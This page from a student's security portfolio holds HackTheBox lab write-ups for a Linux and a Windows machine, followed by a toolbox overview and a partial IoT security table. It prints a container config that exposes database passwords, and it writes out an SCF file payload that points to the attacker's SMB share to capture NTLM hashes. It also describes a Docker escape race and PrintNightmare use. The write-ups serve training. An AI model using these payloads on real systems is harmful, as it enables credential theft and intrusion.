<a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy 